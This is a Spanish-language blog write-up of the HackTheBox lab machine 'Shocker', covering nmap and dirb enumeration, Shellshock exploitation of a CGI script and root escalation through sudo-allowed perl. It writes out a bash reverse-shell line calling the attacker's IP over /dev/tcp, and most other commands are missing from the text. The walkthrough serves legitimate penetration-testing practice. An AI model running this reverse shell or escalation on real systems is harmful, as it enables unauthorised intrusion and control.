[HTB write-up] Shocker


En anteriores ocasiones les he dejado un par de retos muy entretenidos, en este caso os dejaré la solución de Shocker, un máquina muy entretenida de Hackthebox.

Como sabrán Hackthebox es un sitio donde hay todo tipo de máquinas virtuales vulnerables para practicar nuestras habilidades de pentesting, ya sin mucha palabrería vamos a ello.

Agenda

    • Enumeración con nmap
    • dirb - Bruteforce de directorios
    • Bruteforce file extencion .sh
    • Explotación vulnerabilidad shellshok
    • Privilege escalation.

* Enumeración con nmap


Tenemos un apache corriendo en el puerto 80 y un SSH en el puerto 2222

* Dirb

Cuando ingresamos a la dirección http://10.10.10.56 y vemos el código fuente no hay nada interesante, así que vamos a realizar un bruteforce de directorios utilizando la herramienta dirb, por default ya está instalada en kali.



El uso de esta herramienta es muy fácil:


La sintaxis es dirb http://10.10.10.56 – url victima, por defecto el diccionario esta common.txt si queremos utilizar otro debemos colocar el path de nuestro diccionario después de la url victima, por ejemplo: dirb http://10.10.10.56 /usr/shared/wordlists/midiccionario.txt.

Como podemos ver tenemos el siguiente resultado.

Muy interesante, tenemos un directorio /cgi-bin/, así que lo primero que se me ocurrió fue, Shellshock.

* Bruteforce file extension .sh

Así que lanzando el exploit solo al directorio /cgi-bin/ no tengo ningún resultado, lo siguiente que vamos a realizar es un bruteforce con file extension buscando archivos .sh.

Para esto vamos utilizar dirb nuevamente, esta magnífica herramienta nos permite realizar esto con su bandera -X .sh

Genial! tenemos nuestro resultado, user.sh existe en el directorio /cgi-bin/


* Explotación vulnerabilidad shellshock

Para esto utilizare el siguiente exploit, se lo que muchos están pensando utilizar metasploit, pero deberían intentar no usarlo y hacerlo a la vieja escuela.

El uso de este exploit es muy fácil como podemos observar su ayuda, -t target y -c el comando que vamos utilizar, les recomiendo esta lectura.

Exploit:


Bien, ahora vamos a formular muestro ataque de la siguiente manera:


Con bash -i >& /dev/tcp/10.10.15.28/1337 0>&1 vamos a generar una reverse shell a mi dirección ip al puerto 1337 y pondremos nuestro netcat a la escucha:


Fuck yeah! Todo salió a la perfección.

* Privilege escalation

Bien, ahora que tenemos acceso a la máquina lo siguiente que toca es hacernos root. Primero voy a ejecutar sudo -l para ver que órdenes se pueden ejecutar en este host.


Y tenemos algo interesante: perl se está ejecutando como root, así que vamos a llamar a /bin/sh usando perl para que nos de shell con permisos root, utilizando el siguiente comando:


Sin duda es un máquina muy entretenida, un saludo @_stuxnet

Comentarios

  1. Se puede hacer sin exploits explotando shellshock a través del User-Agent.
    Yo lo terminé cambiando la consulta directamente en Zaproxy.

    ResponderEliminar

Publicar un comentario